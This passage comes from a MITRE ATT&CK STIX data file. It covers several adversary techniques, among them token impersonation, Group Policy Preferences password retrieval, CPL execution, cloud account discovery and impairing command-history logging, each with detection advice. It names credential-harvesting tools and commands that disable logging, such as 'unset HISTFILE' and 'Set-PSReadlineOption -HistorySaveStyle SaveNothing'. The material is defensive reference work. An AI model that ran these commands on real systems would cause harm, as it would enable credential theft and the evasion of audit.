                    "source_name": "Microsoft Command-line Logging",
                    "description": "Mathers, B. (2017, March 7). Command line process auditing. Retrieved April 21, 2017.",
                    "url": "https://technet.microsoft.com/en-us/windows-server-docs/identity/ad-ds/manage/component-updates/command-line-process-auditing"
                },
                {
                    "source_name": "LogonUserW function",
                    "description": "Microsoft. (2023, March 10). LogonUserW function (winbase.h). Retrieved January 8, 2024.",
                    "url": "https://learn.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-logonuserw"
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            "modified": "2025-04-15T19:58:49.948Z",
            "name": "Make and Impersonate Token",
            "description": "Adversaries may make new tokens and impersonate users to escalate privileges and bypass access controls. For example, if an adversary has a username and password but the user is not logged onto the system the adversary can then create a logon session for the user using the `LogonUser` function.(Citation: LogonUserW function) The function will return a copy of the new session's access token and the adversary can use `SetThreadToken` to assign the token to a thread.\n\nThis behavior is distinct from [Token Impersonation/Theft](https://attack.mitre.org/techniques/T1134/001) in that this refers to creating a new user token instead of stealing or duplicating an existing one.",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "privilege-escalation"
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            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Jonny Johnson"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "If an adversary is using a standard command-line shell, analysts can detect token manipulation by auditing command-line activity. Specifically, analysts should look for use of the <code>runas</code> command. Detailed command-line logging is not enabled by default in Windows.(Citation: Microsoft Command-line Logging)\n\nIf an adversary is using a payload that calls the Windows token APIs directly, analysts can detect token manipulation only through careful analysis of user network activity, examination of running processes, and correlation with other endpoint and network behavior.\n\nAnalysts can also monitor for use of Windows APIs such as <code>LogonUser</code> and <code> SetThreadToken</code> and correlate activity with other suspicious behavior to reduce false positives that may be due to normal benign use by users and administrators.",
            "x_mitre_domains": [
                "enterprise-attack"
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            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Windows"
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            "x_mitre_version": "1.2",
            "x_mitre_data_sources": [
                "Process: OS API Execution",
                "Command: Command Execution"
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        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--8d7bd4f5-3a89-4453-9c82-2c8894d5655e",
            "created": "2020-02-11T18:43:06.253Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1552/006",
                    "external_id": "T1552.006"
                },
                {
                    "source_name": "Obscuresecurity Get-GPPPassword",
                    "description": "Campbell, C. (2012, May 24). GPP Password Retrieval with PowerShell. Retrieved April 11, 2018.",
                    "url": "https://obscuresecurity.blogspot.co.uk/2012/05/gpp-password-retrieval-with-powershell.html"
                },
                {
                    "source_name": "Microsoft GPP 2016",
                    "description": "Microsoft. (2016, August 31). Group Policy Preferences. Retrieved March 9, 2020.",
                    "url": "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/dn581922(v%3Dws.11)"
                },
                {
                    "source_name": "Microsoft GPP Key",
                    "description": "Microsoft. (n.d.). 2.2.1.1.4 Password Encryption. Retrieved April 11, 2018.",
                    "url": "https://msdn.microsoft.com/library/cc422924.aspx"
                },
                {
                    "source_name": "ADSecurity Finding Passwords in SYSVOL",
                    "description": "Sean Metcalf. (2015, December 28). Finding Passwords in SYSVOL & Exploiting Group Policy Preferences. Retrieved February 17, 2020.",
                    "url": "https://adsecurity.org/?p=2288"
                }
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            "object_marking_refs": [
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            ],
            "modified": "2025-04-15T22:39:12.196Z",
            "name": "Group Policy Preferences",
            "description": "Adversaries may attempt to find unsecured credentials in Group Policy Preferences (GPP). GPP are tools that allow administrators to create domain policies with embedded credentials. These policies allow administrators to set local accounts.(Citation: Microsoft GPP 2016)\n\nThese group policies are stored in SYSVOL on a domain controller. This means that any domain user can view the SYSVOL share and decrypt the password (using the AES key that has been made public).(Citation: Microsoft GPP Key)\n\nThe following tools and scripts can be used to gather and decrypt the password file from Group Policy Preference XML files:\n\n* Metasploit\u2019s post exploitation module: <code>post/windows/gather/credentials/gpp</code>\n* Get-GPPPassword(Citation: Obscuresecurity Get-GPPPassword)\n* gpprefdecrypt.py\n\nOn the SYSVOL share, adversaries may use the following command to enumerate potential GPP XML files: <code>dir /s * .xml</code>\n",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "credential-access"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Monitor for attempts to access SYSVOL that involve searching for XML files. \n\nDeploy a new XML file with permissions set to Everyone:Deny and monitor for Access Denied errors.(Citation: ADSecurity Finding Passwords in SYSVOL)",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_version": "1.1",
            "x_mitre_data_sources": [
                "File: File Access",
                "Command: Command Execution"
            ]
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--8df54627-376c-487c-a09c-7d2b5620f56e",
            "created": "2018-04-18T17:59:24.739Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": true,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1196",
                    "external_id": "T1196"
                },
                {
                    "source_name": "Microsoft Implementing CPL",
                    "description": "M. (n.d.). Implementing Control Panel Items. Retrieved January 18, 2018.",
                    "url": "https://msdn.microsoft.com/library/windows/desktop/cc144185.aspx"
                },
                {
                    "source_name": "TrendMicro CPL Malware Jan 2014",
                    "description": "Merc\u00eas, F. (2014, January 27). CPL Malware - Malicious Control Panel Items. Retrieved January 18, 2018.",
                    "url": "https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp-cpl-malware.pdf"
                },
                {
                    "source_name": "TrendMicro CPL Malware Dec 2013",
                    "description": "Bernardino, J. (2013, December 17). Control Panel Files Used As Malicious Attachments. Retrieved January 18, 2018.",
                    "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/control-panel-files-used-as-malicious-attachments/"
                },
                {
                    "source_name": "Palo Alto Reaver Nov 2017",
                    "description": "Grunzweig, J. and Miller-Osborn, J. (2017, November 10). New Malware with Ties to SunOrcal Discovered. Retrieved November 16, 2017.",
                    "url": "https://researchcenter.paloaltonetworks.com/2017/11/unit42-new-malware-with-ties-to-sunorcal-discovered/"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-25T15:15:51.719Z",
            "name": "Control Panel Items",
            "description": "Windows Control Panel items are utilities that allow users to view and adjust computer settings. Control Panel items are registered executable (.exe) or Control Panel (.cpl) files, the latter are actually renamed dynamic-link library (.dll) files that export a CPlApplet function. (Citation: Microsoft Implementing CPL) (Citation: TrendMicro CPL Malware Jan 2014) Control Panel items can be executed directly from the command line, programmatically via an application programming interface (API) call, or by simply double-clicking the file. (Citation: Microsoft Implementing CPL) (Citation: TrendMicro CPL Malware Jan 2014) (Citation: TrendMicro CPL Malware Dec 2013)\n\nFor ease of use, Control Panel items typically include graphical menus available to users after being registered and loaded into the Control Panel. (Citation: Microsoft Implementing CPL)\n\nAdversaries can use Control Panel items as execution payloads to execute arbitrary commands. Malicious Control Panel items can be delivered via [Spearphishing Attachment](https://attack.mitre.org/techniques/T1193) campaigns (Citation: TrendMicro CPL Malware Jan 2014) (Citation: TrendMicro CPL Malware Dec 2013) or executed as part of multi-stage malware. (Citation: Palo Alto Reaver Nov 2017) Control Panel items, specifically CPL files, may also bypass application and/or file extension whitelisting.",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "execution"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Monitor and analyze activity related to items associated with CPL files, such as the Windows Control Panel process binary (control.exe) and the Control_RunDLL and ControlRunDLLAsUser API functions in shell32.dll. When executed from the command line or clicked, control.exe will execute the CPL file (ex: <code>control.exe file.cpl</code>) before [Rundll32](https://attack.mitre.org/techniques/T1085) is used to call the CPL's API functions (ex: <code>rundll32.exe shell32.dll,Control_RunDLL file.cpl</code>). CPL files can be executed directly via the CPL API function with just the latter [Rundll32](https://attack.mitre.org/techniques/T1085) command, which may bypass detections and/or execution filters for control.exe. (Citation: TrendMicro CPL Malware Jan 2014)\n\nInventory Control Panel items to locate unregistered and potentially malicious files present on systems:\n\n* Executable format registered Control Panel items will have a globally unique identifier (GUID) and registration Registry entries in <code>HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\ControlPanel\\NameSpace</code> and <code>HKEY_CLASSES_ROOT\\CLSID\\{GUID}</code>. These entries may contain information about the Control Panel item such as its display name, path to the local file, and the command executed when opened in the Control Panel. (Citation: Microsoft Implementing CPL)\n* CPL format registered Control Panel items stored in the System32 directory are automatically shown in the Control Panel. Other Control Panel items will have registration entries in the <code>Cpls</code> and <code>Extended Properties</code> Registry keys of <code>HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Control Panel</code>. These entries may include information such as a GUID, path to the local file, and a canonical name used to launch the file programmatically (<code> WinExec(\"c:\\windows\\system32\\control.exe {Canonical_Name}\", SW_NORMAL);</code>) or from a command line (<code>control.exe /name {Canonical_Name}</code>). (Citation: Microsoft Implementing CPL)\n* Some Control Panel items are extensible via Shell extensions registered in <code>HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Controls Folder\\{name}\\Shellex\\PropertySheetHandlers</code> where {name} is the predefined name of the system item. (Citation: Microsoft Implementing CPL)\n\nAnalyze new Control Panel items as well as those present on disk for malicious content. Both executable and CPL formats are compliant Portable Executable (PE) images and can be examined using traditional tools and methods, pending anti-reverse-engineering techniques. (Citation: TrendMicro CPL Malware Jan 2014)",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_version": "1.1"
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--8e350c1d-ac79-4b5c-bd4e-7476d7e84ec5",
            "created": "2020-03-15T15:34:30.767Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1048/002",
                    "external_id": "T1048.002"
                },
                {
                    "source_name": "University of Birmingham C2",
                    "description": "Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
                    "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-15T19:58:50.294Z",
            "name": "Exfiltration Over Asymmetric Encrypted Non-C2 Protocol",
            "description": "Adversaries may steal data by exfiltrating it over an asymmetrically encrypted network protocol other than that of the existing command and control channel. The data may also be sent to an alternate network location from the main command and control server. \n\nAsymmetric encryption algorithms are those that use different keys on each end of the channel. Also known as public-key cryptography, this requires pairs of cryptographic keys that can encrypt/decrypt data from the corresponding key. Each end of the communication channels requires a private key (only in the procession of that entity) and the public key of the other entity. The public keys of each entity are exchanged before encrypted communications begin. \n\nNetwork protocols that use asymmetric encryption (such as HTTPS/TLS/SSL) often utilize symmetric encryption once keys are exchanged. Adversaries may opt to use these encrypted mechanisms that are baked into a protocol. ",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "exfiltration"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "William Cain"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious.(Citation: University of Birmingham C2) ",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows",
                "ESXi"
            ],
            "x_mitre_version": "1.2",
            "x_mitre_data_sources": [
                "Network Traffic: Network Traffic Flow",
                "Command: Command Execution",
                "File: File Access",
                "Network Traffic: Network Connection Creation",
                "Network Traffic: Network Traffic Content"
            ]
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--8f104855-e5b7-4077-b1f5-bc3103b41abe",
            "created": "2020-02-21T21:08:36.570Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1087/004",
                    "external_id": "T1087.004"
                },
                {
                    "source_name": "AWS List Roles",
                    "description": "Amazon. (n.d.). List Roles. Retrieved August 11, 2020.",
                    "url": "https://docs.aws.amazon.com/cli/latest/reference/iam/list-roles.html"
                },
                {
                    "source_name": "AWS List Users",
                    "description": "Amazon. (n.d.). List Users. Retrieved August 11, 2020.",
                    "url": "https://docs.aws.amazon.com/cli/latest/reference/iam/list-users.html"
                },
                {
                    "source_name": "Black Hills Red Teaming MS AD Azure, 2018",
                    "description": "Felch, M.. (2018, August 31). Red Teaming Microsoft Part 1 Active Directory Leaks via Azure. Retrieved October 6, 2019.",
                    "url": "https://www.blackhillsinfosec.com/red-teaming-microsoft-part-1-active-directory-leaks-via-azure/"
                },
                {
                    "source_name": "Google Cloud - IAM Servie Accounts List API",
                    "description": "Google. (2020, June 23). gcloud iam service-accounts list. Retrieved August 4, 2020.",
                    "url": "https://cloud.google.com/sdk/gcloud/reference/iam/service-accounts/list"
                },
                {
                    "source_name": "Microsoft AZ CLI",
                    "description": "Microsoft. (n.d.). az ad user. Retrieved October 6, 2019.",
                    "url": "https://docs.microsoft.com/en-us/cli/azure/ad/user?view=azure-cli-latest"
                },
                {
                    "source_name": "Microsoft msolrolemember",
                    "description": "Microsoft. (n.d.). Get-MsolRoleMember. Retrieved October 6, 2019.",
                    "url": "https://docs.microsoft.com/en-us/powershell/module/msonline/get-msolrolemember?view=azureadps-1.0"
                },
                {
                    "source_name": "GitHub Raindance",
                    "description": "Stringer, M.. (2018, November 21). RainDance. Retrieved October 6, 2019.",
                    "url": "https://github.com/True-Demon/raindance"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-15T22:00:56.981Z",
            "name": "Cloud Account",
            "description": "Adversaries may attempt to get a listing of cloud accounts. Cloud accounts are those created and configured by an organization for use by users, remote support, services, or for administration of resources within a cloud service provider or SaaS application.\n\nWith authenticated access there are several tools that can be used to find accounts. The <code>Get-MsolRoleMember</code> PowerShell cmdlet can be used to obtain account names given a role or permissions group in Office 365.(Citation: Microsoft msolrolemember)(Citation: GitHub Raindance) The Azure CLI (AZ CLI) also provides an interface to obtain user accounts with authenticated access to a domain. The command <code>az ad user list</code> will list all users within a domain.(Citation: Microsoft AZ CLI)(Citation: Black Hills Red Teaming MS AD Azure, 2018) \n\nThe AWS command <code>aws iam list-users</code> may be used to obtain a list of users in the current account while <code>aws iam list-roles</code> can obtain IAM roles that have a specified path prefix.(Citation: AWS List Roles)(Citation: AWS List Users) In GCP, <code>gcloud iam service-accounts list</code> and <code>gcloud projects get-iam-policy</code> may be used to obtain a listing of service accounts and users in a project.(Citation: Google Cloud - IAM Servie Accounts List API)",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "discovery"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Praetorian"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Monitor processes, command-line arguments, and logs for actions that could be taken to gather information about cloud accounts, including the use of calls to cloud APIs that perform account discovery.\n\nSystem and network discovery techniques normally occur throughout an operation as an adversary learns the environment, and also to an extent in normal network operations. Therefore discovery data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "SaaS",
                "IaaS",
                "Office Suite",
                "Identity Provider"
            ],
            "x_mitre_version": "1.3",
            "x_mitre_data_sources": [
                "Command: Command Execution"
            ]
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580",
            "created": "2017-05-31T21:30:48.728Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1057",
                    "external_id": "T1057"
                },
                {
                    "source_name": "show_processes_cisco_cmd",
                    "description": "Cisco. (2022, August 16). show processes - . Retrieved July 13, 2022.",
                    "url": "https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/fundamentals/command/cf_command_ref/show_monitor_permit_list_through_show_process_memory.html#wp3599497760"
                },
                {
                    "source_name": "Crowdstrike Hypervisor Jackpotting Pt 2 2021",
                    "description": "Michael Dawson. (2021, August 30). Hypervisor Jackpotting, Part 2: eCrime Actors Increase Targeting of ESXi Servers with Ransomware. Retrieved March 26, 2025.",
                    "url": "https://www.crowdstrike.com/en-us/blog/hypervisor-jackpotting-ecrime-actors-increase-targeting-of-esxi-servers/"
                },
                {
                    "source_name": "US-CERT-TA18-106A",
                    "description": "US-CERT. (2018, April 20). Alert (TA18-106A) Russian State-Sponsored Cyber Actors Targeting Network Infrastructure Devices. Retrieved October 19, 2020.",
                    "url": "https://www.us-cert.gov/ncas/alerts/TA18-106A"
                },
                {
                    "source_name": "Sygnia ESXi Ransomware 2025",
                    "description": "Zhongyuan Hau (Aaron), Ren Jie Yow, and Yoav Mazor. (2025, January 21). ESXi Ransomware Attacks: Stealthy Persistence through. Retrieved March 27, 2025.",
                    "url": "https://www.sygnia.co/blog/esxi-ransomware-ssh-tunneling-defense-strategies/"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-15T19:58:50.607Z",
            "name": "Process Discovery",
            "description": "Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Administrator or otherwise elevated access may provide better process details. Adversaries may use the information from [Process Discovery](https://attack.mitre.org/techniques/T1057) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.\n\nIn Windows environments, adversaries could obtain details on running processes using the [Tasklist](https://attack.mitre.org/software/S0057) utility via [cmd](https://attack.mitre.org/software/S0106) or <code>Get-Process</code> via [PowerShell](https://attack.mitre.org/techniques/T1059/001). Information about processes can also be extracted from the output of [Native API](https://attack.mitre.org/techniques/T1106) calls such as <code>CreateToolhelp32Snapshot</code>. In Mac and Linux, this is accomplished with the <code>ps</code> command. Adversaries may also opt to enumerate processes via `/proc`. ESXi also supports use of the `ps` command, as well as `esxcli system process list`.(Citation: Sygnia ESXi Ransomware 2025)(Citation: Crowdstrike Hypervisor Jackpotting Pt 2 2021)\n\nOn network devices, [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands such as `show processes` can be used to display current running processes.(Citation: US-CERT-TA18-106A)(Citation: show_processes_cisco_cmd)",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "discovery"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Austin Clark, @c2defense"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\n\nNormal, benign system and network events that look like process discovery may be uncommon, depending on the environment and how they are used. Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).\n\nFor network infrastructure devices, collect AAA logging to monitor for `show` commands being run by non-standard users from non-standard locations.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Linux",
                "Network Devices",
                "Windows",
                "macOS",
                "ESXi"
            ],
            "x_mitre_version": "1.6",
            "x_mitre_data_sources": [
                "Process: Process Creation",
                "Process: OS API Execution",
                "Command: Command Execution"
            ]
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--8f504411-cb96-4dac-a537-8d2bb7679c59",
            "created": "2020-02-21T20:56:06.498Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1562/003",
                    "external_id": "T1562.003"
                },
                {
                    "source_name": "Google Cloud Threat Intelligence ESXi VIBs 2022",
                    "description": "Alexander Marvi, Jeremy Koppen, Tufail Ahmed, and Jonathan Lepore. (2022, September 29). Bad VIB(E)s Part One: Investigating Novel Malware Persistence Within ESXi Hypervisors. Retrieved March 26, 2025.",
                    "url": "https://cloud.google.com/blog/topics/threat-intelligence/esxi-hypervisors-malware-persistence"
                },
                {
                    "source_name": "Sophos PowerShell command audit",
                    "description": "jak. (2020, June 27). Live Discover - PowerShell command audit. Retrieved August 21, 2020.",
                    "url": "https://community.sophos.com/products/intercept/early-access-program/f/live-discover-response-queries/121529/live-discover---powershell-command-audit"
                },
                {
                    "source_name": "Microsoft PowerShell Command History",
                    "description": "Microsoft. (2020, May 13). About History. Retrieved September 4, 2020.",
                    "url": "https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_history?view=powershell-7"
                },
                {
                    "source_name": "Sophos PowerShell Command History Forensics",
                    "description": "Vikas, S. (2020, August 26). PowerShell Command History Forensics. Retrieved November 17, 2024.",
                    "url": "https://community.sophos.com/sophos-labs/b/blog/posts/powershell-command-history-forensics"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-15T19:58:50.696Z",
            "name": "Impair Command History Logging",
            "description": "Adversaries may impair command history logging to hide commands they run on a compromised system. Various command interpreters keep track of the commands users type in their terminal so that users can retrace what they've done. \n\nOn Linux and macOS, command history is tracked in a file pointed to by the environment variable <code>HISTFILE</code>. When a user logs off a system, this information is flushed to a file in the user's home directory called <code>~/.bash_history</code>. The <code>HISTCONTROL</code> environment variable keeps track of what should be saved by the <code>history</code> command and eventually into the <code>~/.bash_history</code> file when a user logs out. <code>HISTCONTROL</code> does not exist by default on macOS, but can be set by the user and will be respected. The `HISTFILE` environment variable is also used in some ESXi systems.(Citation: Google Cloud Threat Intelligence ESXi VIBs 2022)\n\nAdversaries may clear the history environment variable (<code>unset HISTFILE</code>) or set the command history size to zero (<code>export HISTFILESIZE=0</code>) to prevent logging of commands. Additionally, <code>HISTCONTROL</code> can be configured to ignore commands that start with a space by simply setting it to \"ignorespace\". <code>HISTCONTROL</code> can also be set to ignore duplicate commands by setting it to \"ignoredups\". In some Linux systems, this is set by default to \"ignoreboth\" which covers both of the previous examples. This means that \u201c ls\u201d will not be saved, but \u201cls\u201d would be saved by history. Adversaries can abuse this to operate without leaving traces by simply prepending a space to all of their terminal commands. \n\nOn Windows systems, the <code>PSReadLine</code> module tracks commands used in all PowerShell sessions and writes them to a file (<code>$env:APPDATA\\Microsoft\\Windows\\PowerShell\\PSReadLine\\ConsoleHost_history.txt</code> by default). Adversaries may change where these logs are saved using <code>Set-PSReadLineOption -HistorySavePath {File Path}</code>. This will cause <code>ConsoleHost_history.txt</code> to stop receiving logs. Additionally, it is possible to turn off logging to this file using the PowerShell command <code>Set-PSReadlineOption -HistorySaveStyle SaveNothing</code>.(Citation: Microsoft PowerShell Command History)(Citation: Sophos PowerShell command audit)(Citation: Sophos PowerShell Command History Forensics)\n\nAdversaries may also leverage a [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) on network devices to disable historical command logging (e.g. <code>no logging</code>).",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Vikas Singh, Sophos",
                "Emile Kenning, Sophos",
                "Austin Clark, @c2defense"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Correlating a user session with a distinct lack of new commands in their <code>.bash_history</code> can be a clue to suspicious behavior. Additionally, users checking or changing their <code>HISTCONTROL</code>, <code>HISTFILE</code>, or <code>HISTFILESIZE</code> environment variables may be suspicious.\n\nMonitor for modification of PowerShell command history settings through processes being created with <code>-HistorySaveStyle SaveNothing</code> command-line arguments and use of the PowerShell commands <code>Set-PSReadlineOption -HistorySaveStyle SaveNothing</code> and <code>Set-PSReadLineOption -HistorySavePath {File Path}</code>. Further, [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands may also be used to clear or disable historical log data with built-in features native to the network device platform.  Monitor such command activity for unexpected or unauthorized use of commands being run by non-standard users from non-standard locations.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows",
                "Network Devices",
                "ESXi"
            ],
            "x_mitre_version": "2.3",
            "x_mitre_data_sources": [
                "Sensor Health: Host Status",
                "Command: Command Execution"
            ]
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--8faedf87-dceb-4c35-b2a2-7286f59a3bc3",
            "created": "2019-12-03T14:15:27.452Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1053/004",
                    "external_id": "T1053.004"
                },
                {
                    "source_name": "AppleDocs Launch Agent Daemons",
                    "description": "Apple. (n.d.). Creating Launch Daemons and Agents. Retrieved July 10, 2017.",
                    "url": "https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html"
                },
                {
                    "source_name": "Methods of Mac Malware Persistence",
                    "description": "Patrick Wardle. (2014, September). Methods of Malware Persistence on Mac OS X. Retrieved July 5, 2017.",
                    "url": "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-15T19:58:50.783Z",
            "name": "Launchd",
            "description": "This technique is deprecated due to the inaccurate usage. The report cited did not provide technical detail as to how the malware interacted directly with launchd rather than going through known services. Other system services are used to interact with launchd rather than launchd being used by itself. \n\nAdversaries may abuse the <code>Launchd</code> daemon to perform task scheduling for initial or recurring execution of malicious code. The <code>launchd</code> daemon, native to macOS, is responsible for loading and maintaining services within the operating system. This process loads the parameters for each launch-on-demand system-level daemon from the property list (plist) files found in <code>/System/Library/LaunchDaemons</code> and <code>/Library/LaunchDaemons</code> (Citation: AppleDocs Launch Agent Daemons). These LaunchDaemons have property list files which point to the executables that will be launched (Citation: Methods of Mac Malware Persistence).\n\nAn adversary may use the <code>launchd</code> daemon in macOS environments to schedule new executables to run at system startup or on a scheduled basis for persistence. <code>launchd</code> can also be abused to run a process under the context of a specified account. Daemons, such as <code>launchd</code>, run with the permissions of the root user account, and will operate regardless of which user account is logged in.",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "execution"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "persistence"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "privilege-escalation"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_deprecated": true,
            "x_mitre_detection": "Monitor scheduled task creation from common utilities using command-line invocation. Legitimate scheduled tasks may be created during installation of new software or through system administration functions. Look for changes to tasks that do not correlate with known software, patch cycles, etc. \n\nSuspicious program execution through scheduled tasks may show up as outlier processes that have not been seen before when compared against historical data. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "macOS"
            ],
